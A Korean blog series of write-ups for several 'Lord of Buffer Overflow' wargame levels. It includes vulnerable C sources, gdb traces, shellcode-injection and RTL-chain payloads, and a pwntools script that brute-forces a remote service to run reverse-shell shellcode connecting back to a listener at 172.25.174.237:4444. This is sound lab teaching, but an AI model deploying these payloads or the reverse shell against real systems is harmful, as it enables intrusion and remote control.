728x90
[death_knight@localhost death_knight]$ ls
dropped_item.txt
[death_knight@localhost death_knight]$ cat dropped_item.txt 
	
 You're so great! This is a token to the next gate.

                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,' 
                   `'

신기한 문양이 있다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

xavius -> death_knight  (0) 2023.02.04
nightmare -> xavius  (0) 2023.02.03
succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
728x90

xavius / beg for me

/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>

main()
{
	char buffer[40];

	int server_fd, client_fd;  
	struct sockaddr_in server_addr;   
	struct sockaddr_in client_addr; 
	int sin_size;

	if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
		perror("socket");
		exit(1);
	}

	server_addr.sin_family = AF_INET;        
	server_addr.sin_port = htons(6666);   
	server_addr.sin_addr.s_addr = INADDR_ANY; 
	bzero(&(server_addr.sin_zero), 8);   

	if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
		perror("bind");
		exit(1);
	}

	if(listen(server_fd, 10) == -1){
		perror("listen");
		exit(1);
	}
        
	while(1) {  
		sin_size = sizeof(struct sockaddr_in);
		if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
			perror("accept");
			continue;
		}
            
		if (!fork()){ 
			send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
			send(client_fd, "You : ", 6, 0);
			recv(client_fd, buffer, 256, 0);
			close(client_fd);
			break;
		}
            
		close(client_fd);  
		while(waitpid(-1,NULL,WNOHANG) > 0);
	}
	close(server_fd);
}

소켓 프로그래밍을 이용해 서버를 구현하는 코드다. 소켓 프로그래밍은 낯설텐데 뭔가 많아 보여도 세팅과정일 뿐이라 버퍼오버플로우에선 신경 쓰지 않아도 된다. 주목할 점은 6666번 포트를 오픈하여 리스닝하는 것이다.

fork 함수는 자식 프로세스를 만드는 함수다. 부모 프로세스는 fork 함수의 반환값이 자식 프로세스의 pid이며 자식 프로세스는 fork 함수의 반환값이 0이다. 따라서 부모 프로세스는 연결 요청을 수락하고 자식 프로세스를 생성하여 통신을 처리한다. if(!fork())는 자식 프로세스만이 만족하므로 if 문 내부는 자식함수들이 send, recv 즉, 통신한다.

힌트에서도 주어졌듯이 오버플로우 공격문은 단순한데 remote BOF라 소켓 통신을 이용해서 BOF를 실행한다는 점이 다를 뿐이다. buffer의 크기는 40 bytes인데 client로부터 256 bytes를 recv 하므로 BOF 공격이 가능하다.

0x8048a05 <main+321>:	push   0
0x8048a07 <main+323>:	push   0x100
0x8048a0c <main+328>:	lea    %eax,[%ebp-40]
0x8048a0f <main+331>:	push   %eax
0x8048a10 <main+332>:	mov    %eax,DWORD PTR [%ebp-48]
---Type <return> to continue, or q <return> to quit---
0x8048a13 <main+335>:	push   %eax
0x8048a14 <main+336>:	call   0x804860c <recv>

recv의 두 번째 인자가 buffer이기에 ebp-40에 존재함을 알 수 있다. 따라서 기본적인 스택 구조는 buffer(40 bytes)+sfp(4 bytes)+ret addr(4 bytes) 형태이기에 공격문은 다음과 같이 설정한다.

dummy(44 bytes)+ret addr(4 bytes)+ 리버스 쉘 코드

ret addr은 리버스 쉘 코드의 주소로 설정하면 리버스 쉘 코드로 리턴되어 리버스 쉘 코드가 실행될 것이다. 리버스 쉘이란 클라이언트(공격자)가 리스닝 포트를 열고 서버(희생자)에서 클라이언트에 쉘을 들고 와서 붙는 형태이다. 리버스 쉘 코드를 희생자에게서 실행하면 공격자가 희생자의 쉘을 제어할 수 있다.

필자는 peda를 이용하여 ip는 172.25.174.237, port는 4444번으로 설정하여 리버스 쉘 코드를 만들었다.

gdb-peda$ shellcode generate x86/linux connect 4444 172.25.174.237
# x86/linux/connect: 70 bytes
# port=4444, host=172.25.174.237
shellcode = (
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
    "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xac\x19\xae\xed\x66\x68"
    "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
    "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xb0\x0b\xcd\x80"
)

파이썬으로 익스플로잇 코드를 만들자.

from pwn import *
shell=(
        "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
        "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xac\x19\xae\xed\x66\x68"
        "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
        "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
        "\x89\xe1\xb0\x0b\xcd\x80"
)

for i in range(0x00,0xff,-1):
    for j in range(0x00,0xff,1):
        p=remote("192.168.93.128",6666)
        payload  = "A"*44 + chr(j) + chr(i) + "\xff\xbf" + "\x90"*100 + shell
        p.recvuntil("You : ")
        p.send(payload)
        p.close()

pwntools 라이브러리를 이용한다. remote를 이용해 LOB서버의 6666번 포트에 연결하고 리턴 주소를 정확히 알 수 없기에 0x00부터 0xFF까지 각 경우에 대하여 매번 연결 요청하여 브루트포스 방식으로 버퍼 오버플로우 공격을 수행한다. 스택이기에 상위 2 bytes는 0xbfff로 고정했다. 연결되면 LOB서버에서 Death Knight : ~부터 You : 까지 클라이언트에게 전송하기에 recvuntil을 이용해 You : 까지 수신해준 뒤 만든 payload를 전송함으로써 공격을 수행 후 연결을 종료한다. 만약 쉘을 획득한다면 연결이 종료되어도 명령을 수행할 수 있다.

fork를 통해 자식 프로세스를 만들면 부모 프로세스의 스택, 힙, 데이터, 코드 영역 값이 복사되며 주소값도 동일하다. 하지만 이는 가상 주소이기에 부모나 자식 프로세스에서 변수의 값을 바꾸면 변수에 매핑되는 물리 주소는 서로 달라진다. 따라서 변수의 주소값은 동일하게 유지되기에 0x00부터 0xFF까지 대입하다보면 무조건 공격이 성공할 수밖에 없다.

[xavius@localhost xavius]$ netstat -antp | grep 6666
(No info could be read for "-p": geteuid()=519 but you should be root.)
tcp        0      0 0.0.0.0:6666            0.0.0.0:*               LISTEN      -

LOB에서 netstat 명령을 실행하면 이미 6666번 포트가 LISTEN 상태임을 알 수 있다. 따라서 death_knight가 이미 실행되고 있기에 다시 실행하려고 하면 에러만 뜰 것이다. 0.0.0.0은 모든 ip를 의미하는데 왼쪽이 local 오른쪽이 foreign이다. 왼쪽의 0.0.0.0은 서버에 할당된 모든 ip의 6666번 포트를 열었다는 뜻이고 오른쪽의 0.0.0.0:*은 모든 ip의 모든 포트로부터의 연결 요청을 받는다는 뜻이다.

hdg@LAPTOP-T8ULMV8T:~$ nc -lv 4444
Listening on LAPTOP-T8ULMV8T 4444
my-pass

내 pc에서도 nc를 이용해 4444번 포트를 리스닝 상태로 만들었다.

-l(listen) : 리스닝 상태

-v(verbose) : 세부 정보 출력

my-pass 명령을 미리 입력하고 대기한다.(미리 입력 안해도 괜찮음)

이제 python 코드를 실행할 차례다.

hdg@LAPTOP-T8ULMV8T:~$ python revsh.py
[+] Opening connection to 192.168.93.128 on port 6666: Done
revsh.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("You : ")
revsh.py:15: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.send(payload)
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
(생략)

코드를 실행하면 연결의 맺고 끊김이 계속 반복된다.

hdg@LAPTOP-T8ULMV8T:~$ nc -lv 4444
Listening on LAPTOP-T8ULMV8T 4444
my-pass
Connection received on LAPTOP-T8ULMV8T 4545
euid = 520
got the life

어느 순간 쉘을 획득하고 my-pass 명령 실행 결과가 출력된다.

death_knight의 비밀번호는 got the life

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

death_knight  (0) 2023.02.04
nightmare -> xavius  (0) 2023.02.03
succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
728x90

nightmare / beg for me

/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
	char buffer[40];
	char *ret_addr;

	// overflow!
	fgets(buffer, 256, stdin);//입력 받음
	printf("%s\n", buffer);

	if(*(buffer+47) == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

	if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

	// check if the ret_addr is library function or not
	memcpy(&ret_addr, buffer+44, 4);
	while(memcmp(ret_addr, "\x90\x90", 2) != 0)	// end point of function
	{
		if(*ret_addr == '\xc9'){		// leave
			if(*(ret_addr+1) == '\xc3'){	// ret
				printf("You cannot use library function!\n");
				exit(0);
			}
		}
		ret_addr++; 
	}

        // stack destroyer
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

memcpy 함수를 통해 buffer+44부터 4 bytes 만큼 ret_addr에 복사한다. buffer+44 memset을 이용해 buffer부터 stack 아래까지 전부 0으로 초기화한다. 대신 ret 주소는 빼고. buffer-3000부터 buffer 전까지도 0이 저장된다.

이번엔 리턴 주소 빼고는 거의 다 0으로 초기화된다. 문제 힌트에 arg가 있는데 이 문제는 fgets로 입력받는다. fgets 함수의 인자로 사용되는 stdin을 들여다보자. stdin은 표준 입력을 의미하며 키보드로 입력받는 것이다.

xavius를 복사하여 gdb를 실행 후 main+26 위치에 break을 걸고 실행한다. hello를 입력한다.

[nightmare@localhost nightmare]$ gdb xavius2 -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>:	push   %ebp
0x8048715 <main+1>:	mov    %ebp,%esp
0x8048717 <main+3>:	sub    %esp,44
0x804871a <main+6>:	mov    %eax,%ds:0x8049a3c
0x804871f <main+11>:	push   %eax
0x8048720 <main+12>:	push   0x100
0x8048725 <main+17>:	lea    %eax,[%ebp-40]
0x8048728 <main+20>:	push   %eax
0x8048729 <main+21>:	call   0x8048408 <fgets>
0x804872e <main+26>:	add    %esp,12
(생략)
(gdb) b *main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/xavius2 
hello

Breakpoint 1, 0x804872e in main ()
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>:	0x401068c0
(gdb) x/10x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:	0xfbad2288	0x40015006	0x40015006	0x40015000
0x401068d0 <_IO_2_1_stdin_+16>:	0x40015000	0x40015000	0x40015000	0x40015000
0x401068e0 <_IO_2_1_stdin_+32>:	0x40015400	0x00000000
(gdb) x/4x 0x40015000
0x40015000:	0x6c6c6568	0x00000a6f	0x00000000	0x00000000

fgets 함수의 인자로 제일 처음 push 되는 0x8049a3c를 들여다봤다. 0x401068c0에 들어가 본다. 보니 뭔가가 있다. 0x40015000과 0x40015006을 보니 내가 입력한 hello길이 +1만큼 차이가 난다. fgets 함수는 끝에 \x0a(개행)을 붙이기 때문이다. hello\n이 된다. 그래서 0x40015000을 들어가 보면 hello\n가 존재함을 알 수 있다.

(gdb) b *main+278
Breakpoint 2 at 0x804882a
(gdb) c
Continuing.
hello

Breakpoint 2, 0x804882a in main ()
(gdb) ni
0x400309cb in __libc_start_main (main=???, argc=???, argv=???, init=???, fini=???, 
    rtld_fini=???, stack_end=???) at ../sysdeps/generic/libc-start.c:92
92	../sysdeps/generic/libc-start.c: No such file or directory.

(gdb) x/4x 0x40015000
0x40015000:	0x6c6c6568	0x00000a6f	0x00000000	0x00000000

main 함수의 ret에 break을 걸고 ret명령까지 실행 후에도 hello\n가 stdin에 남아있음을 확인했다. 그렇다면 표준 입력으로 쉘 코드를 전달하고 0x40015000으로 리턴하면 실행할 수 있을 것이다.

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat)|./xavius 
1󿿐h//shh/bin⏓󿲒°
               ̀ 
my-pass
euid = 519
throw me away

xavius의 비밀번호는 throw me away

참고로 stdin이 EOF를 반환하기에 쉘에 대한 입력을 유지하려면 cat가 필요하다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

death_knight  (0) 2023.02.04
xavius -> death_knight  (0) 2023.02.04
succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
728x90

succubus / here to stay

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}

이번 문제에서는 ret 주소에 strcpy의 plt 주소가 반드시 들어가야한다. buffer+40+8부터 4bytes를 'A'로 초기화하는데 buffer+40+8은 ret 주소+4의 위치다. 즉, 간단한 RET Sled를 막는다. strcpy의 plt 주소가 들어가기에 strcpy 함수를 이용해야한다.

참고로 plt와 got라는 개념이 있다.

PLT(Procedure Linkage Table): 외부 프로시저를 연결해주는 테이블로서 다른 라이브러리에 있는 프로시저를 호출한다.

GOT(Global Offset Table): PLT가 참조하는 테이블로서 프로시저들의 주소가 들어있다.

같은 파일 내의 프로시저라면 PLT가 필요없지만 외부 라이브러리의 함수를 호출할 때는 PLT가 필요하다. 링커가 PLT를 보고 함수를 찾기 때문이다.

함수(PLT)를 호출하면 GOT로 이동하는데 GOT에는 함수의 실제 주소가 있다. 첫 번째 함수 호출이면 GOT에는 함수의 주소가 없고 주소를 알아내는 과정을 거쳐서 알아낸 주소를 GOT에 저장하고 해당 함수를 호출한다. 두 번째 함수 호출부터는 GOT에 함수의 주소가 있기에 이를 바로 이용한다.

먼저 strcpy 함수를 들여다봤다.

(gdb) r `python -c 'print "A"'`
Starting program: /home/succubus/nightmare2 `python -c 'print "A"'`

Breakpoint 1, 0x80486ba in main ()
(gdb) p strcpy
$2 = {char *(char *, char *)} 0x400767b0 <strcpy>
(gdb) disas 0x400767b0
Dump of assembler code for function strcpy:
0x400767b0 <strcpy>:	push   %ebp
0x400767b1 <strcpy+1>:	mov    %ebp,%esp
0x400767b3 <strcpy+3>:	push   %esi
0x400767b4 <strcpy+4>:	mov    %esi,DWORD PTR [%ebp+8]
0x400767b7 <strcpy+7>:	mov    %edx,DWORD PTR [%ebp+12]
0x400767ba <strcpy+10>:	mov    %eax,%esi
(생략)

strcpy는 ebp+8, ebp+12 위치의 인자 2개를 이용한다. strcpy(dest,src)형태로 사용하는데 src에 저장된 문자열을 dest로 복사한다. 따라서 payload 일부만 표현하자면 다음과 같은 형태가 될 것이다.

buffer sfp ret addr(strcpy plt) AAAA dest src

이제 strcpy를 이용해 dest에 문자열을 저장할 수 있게 된 것이다. 또한 strcpy 함수 실행 후에 AAAA가 위치한 주소에 함수의 주소를 저장한다면 해당 함수가 호출될 것이다. 그 함수의 주소는 바로 쉘 코드의 주소라면 쉘 코드가 실행될 것이다.

이를 위해 buffer에 쉘 코드의 주소를 넣고 src에 buffer의 주소를 전달한다. dest는 AAAA의 주소(ret addr+4)를 전달한다. 쉘 코드는 환경 변수로 저장한다. 이제 모두 준비됐다.

0x8048721 <main+109>:	push   %eax
0x8048722 <main+110>:	call   0x8048410 <strcpy>
0x8048727 <main+115>:	add    %esp,8

우선 disas main을 통해 strcpy의 plt가 0x8048410임을 알 수 있다.

[succubus@localhost succubus]$ gdb nightmare2 -q 
(gdb) b main
Breakpoint 1 at 0x80486ba
(gdb) b *main+115
Breakpoint 2 at 0x8048727
(gdb) r `python -c 'print "AAAA"+"BBBB"+"C"*36+"\x10\x84\x04\x08"+"aaaa"+"DDDD"+"SSSS"'`
Starting program: /home/succubus/nightmare2 `python -c 'print "AAAA"+"BBBB"+"C"*36+"\x10\x84\x04\x08"+"aaaa"+"DDDD"+"SSSS"'`

Breakpoint 1, 0x80486ba in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x8048727 in main ()
(gdb) x/30x $ebp-48       
0xbffff9f8:	0xbffffb8d	0x08048410	0x41414141	0x42424242
0xbffffa08:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffa18:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffa28:	0x43434343	0x08048410	0x61616161	0x44444444
0xbffffa38:	0x53535353	0x40013800	0x00000002	0x08048420
0xbffffa48:	0x00000000	0x08048441	0x080486b4	0x00000002
0xbffffa58:	0xbffffa74	0x08048350	0x0804877c	0x4000ae60

형태를 갖춰서 payload를 전달했다. buffer의 주소는 0xbffffa00이다. ret+4의 주소는 0xbffffa30이다.

쉘 코드를 환경 변수로 설정하고 주소를 구하자.

//쉘 코드를 환경 변수로 설정
[succubus@localhost succubus]$ export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
// 쉘 코드 주소 구하는 코드
#include <stdio.h>
int main(){
        printf("%p\n",getenv("sh"));
}
//쉘 코드 주소
[succubus@localhost succubus]$ ./getenv 
0xbffffe8d

지금까지 알아낸 것들로 payload를 전달했다.

"AAAA" : dummy

0xbffffe8d : 쉘 코드 주소

"B"*36 : dummy

0x8048410 : strcpy@plt

"aaaa" : dummy

0xbffffa30 : ret+4("aaaa"주소)

0xbffffa04 : 쉘 코드 주소가 저장된 주소(buffer 내부의 0xbffffe8d 값 주소)

[succubus@localhost succubus]$ ./nightmare `python -c 'print "AAAA"+"\x8d\xfe\xff\xbf"+"B"*36+"\x10\x84\x04\x08"+"aaaa"+"\x30\xfa\xff\xbf"+"\x04\xfa\xff\xbf"'`
AAAAþÿ¿BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBaaaa0󽅺ÿ¿
bash$ my-pass
euid = 518
beg for me

왜 굳이 버퍼에 AAAA넣고 쉘 코드 주소를 넣었나?

버퍼 시작 주소에 쉘 코드를 넣고 문제를 풀다보니 core dumped가 발생하고 버퍼 시작 주소가 0xbffffa00로 바꼈다. 근데 0x00이 문제를 일으키는거 같다. 앞에 AAAA를 넣고 풀면 쉽게 풀린다.

nightmare의 비밀번호는 beg for me

참고로 쉘 코드를 환경변수로 등록하는 방식말고 argv[1]의 인자로 쉘 코드를 전달하는 방식도 가능하다. 이 경우는 payload 형태가 다음과 같다.

"A"*44 + strcpy주소(0x8048410) + "A"*4 + 바로 앞의 "A"*4 주소 + 바로 뒤의 쉘 코드 주소의 주소 + 쉘 코드 주소 + 쉘 코드

이렇게 argv[1]의 인자로 전달해도 main 함수 종료 시 strcpy가 호출되며 쉘 코드 주소가 "A"*4 위치에 저장된다. strcpy 종료시 쉘 코드 주소로 ret 명령이 실행되어 쉘 코드가 실행된다.

[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"A"*4+"\x40\xfa\xff\xbf"+"\x4c\xfa\xff\xbf"+"\x6c\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAA@?풪?퓄?퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                                                                               ?
bash$ my-pass
euid = 518
beg for me
bash$ exit
exit
[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"A"*4+"\x40\xfa\xff\xbf"+"\x4c\xfa\xff\xbf"+"\xfc\xfb\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAA@?풪?웠?퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                                                                               ?
bash$ my-pass
euid = 518
beg for me

첫 번째 경우는 main 함수 내의 stcpy 호출 시 버퍼 근처에 남아있는 쉘 코드의 주소를 이용하는 방식이고 두 번째 경우는 argv[1] 인자로 전달된 쉘 코드의 주소를 이용하는 방식이다. 푸는 방식은 다양하다.

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

xavius -> death_knight  (0) 2023.02.04
nightmare -> xavius  (0) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
728x90

zombie_assassin / no place to hide

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

	// olleh!
	system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf("welcome to the GYE!\n");
	check = 2;
}

void DO(void)
{
	printf("welcome to the DO!\n");
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf("You cannot use library\n");
		exit(0);
	}

	// check address
	addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer
	// 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
	memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

DO 함수의 주소를 argv[1][44]~[47]까지 비교하고 있다. 함수 주소를 argv[1]에서 충분히 넘겨줄 수 있도록 buffer+48+100부터 0으로 초기화해 주는 것을 볼 수 있다. check 변수도 조건을 충족하려면 결국 DO부터 MO까지 거쳐가야 system 함수를 실행할 수 있다. 그리고 MO 함수 인자로 "/bin/sh"을 넘겨줘야한다. system 함수의 인자가 되기 때문이다.

[zombie_assassin@localhost zombie_assassin]$ gdb succubus2 -q
(gdb) p MO
$1 = {<text variable, no debug info>} 0x8048724 <MO>
(gdb) p YUT
$2 = {<text variable, no debug info>} 0x804875c <YUT>
(gdb) p GUL
$3 = {<text variable, no debug info>} 0x804878c <GUL>
(gdb) p GYE
$4 = {<text variable, no debug info>} 0x80487bc <GYE>
(gdb) p DO
$5 = {<text variable, no debug info>} 0x80487ec <DO>

DO ~ MO까지 함수의 주소를 찾았다.

(gdb) disas MO
Dump of assembler code for function MO:
0x8048724 <MO>:	push   %ebp
0x8048725 <MO+1>:	mov    %ebp,%esp
(생략)
0x804874d <MO+41>:	mov    %eax,DWORD PTR [%ebp+8]
0x8048750 <MO+44>:	push   %eax
0x8048751 <MO+45>:	call   0x804840c <system>

system 함수의 인자로 ebp+8에 있는 값이 들어가고 있다.

(gdb) b main
Breakpoint 1 at 0x804880e
(gdb) r `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`
Starting program: /home/zombie_assassin/succubus2 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`

(gdb) x/200x $ebp
(생략)
0xbffffbc8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbd8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbe8:	0x41414141	0x41414141	0x080487ec	0x080487bc
0xbffffbf8:	0x0804878c	0x0804875c	0x08048724	0x42424242
0xbffffc08:	0x43434343	0x6e69622f	0x0068732f	0x3d445750
0xbffffc18:	0x6d6f682f	0x6f7a2f65	0x6569626d	0x7373615f

0xbffffc0c에 "/bin/sh"가 위치하고 있다. "CCCC"는 MO 함수의 인자이자 system 함수의 인자 대신 대입한 것이다. 그리고 MO 함수 어셈블리 코드에서 ebp+8 위치의 인자를 system 함수가 받아들인다 했기에 "/bin/sh"의 주소값 0xbffffc0c를 "CCCC" 자리에 대체할 것이다.

참고로 이전까진 코드를 짜서 "/bin/sh"의 주소를 알아냈었는데 주소엔 늘 \x40이 존재했다. 이 문제에선 \x40을 strchr 함수를 통해 필터링 하고 있기에 직접 "/bin/sh"를 argv[1]의 인자에 전달해서 "/bin/sh"의 주소를 찾아서 MO 함수 인자로 전달하는 것이다.

[zombie_assassin@localhost zombie_assassin]$ ./succubus2 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x0c\xfc\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
                                                񮡩n/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)
[zombie_assassin@localhost zombie_assassin]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffffa94:	0xbffffc0c	0x6e69622f	0x0068732f	0x08048808
0xbffffaa4:	0x00000002	0xbffffac4	0x0804839c	0x0804894c
0xbffffab4:	0x4000ae60	0xbffffabc	0x40013e90	0x00000002
0xbffffac4:	0xbffffbbe	0xbffffbca	0x00000000	0xbffffc1a
0xbffffad4:	0xbffffc34	0xbffffc4c	0xbffffc6b	0xbffffc8d
buffer sfp DO GYE GUL YUT MO dummy 0xbffffc0c "/bin/sh"

위 구조에서 DO ~ MO까지 차례로 ret하고 ebp+8에 인자가 필요하기에 dummy 하나 넣고 "/bin/sh"의 주소인 0xbffffc0c를 대입 후 MO 함수 인자로 쓰기 위해 "/bin/sh" 문자열을 직접 대입한다. 왜 DO부터 MO까지 실행되는지는 RTL Chain을 안다면 쉽게 이해될 것이다.

DO 함수 실행 후 GYE가 실행되는 과정을 간단히 살펴보면 DO 함수로 ret가 발생하여 스택에서 DO 함수 주소는 제거될 것이다. DO 함수의 프롤로그 과정에서 push ebp와 mov ebp, esp가 발생 후 에필로그 과정에서 leave 명령 실행 시 push 했던 ebp가 제거되고 ret 명령 실행 시 GYE 함수 주소로 리턴된다.

payload를 전달했는데 core dumped가 발생하여 보니 주소가 바뀌어 있다. 0xbffffc0c가 아닌 0xbffffa98에 "/bin/sh"가 존재한다. 이것만 수정하자.

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x98\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB󽮢in/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ my-pass
euid = 517
here to stay

succubus의 비밀번호 here to stay

728x90

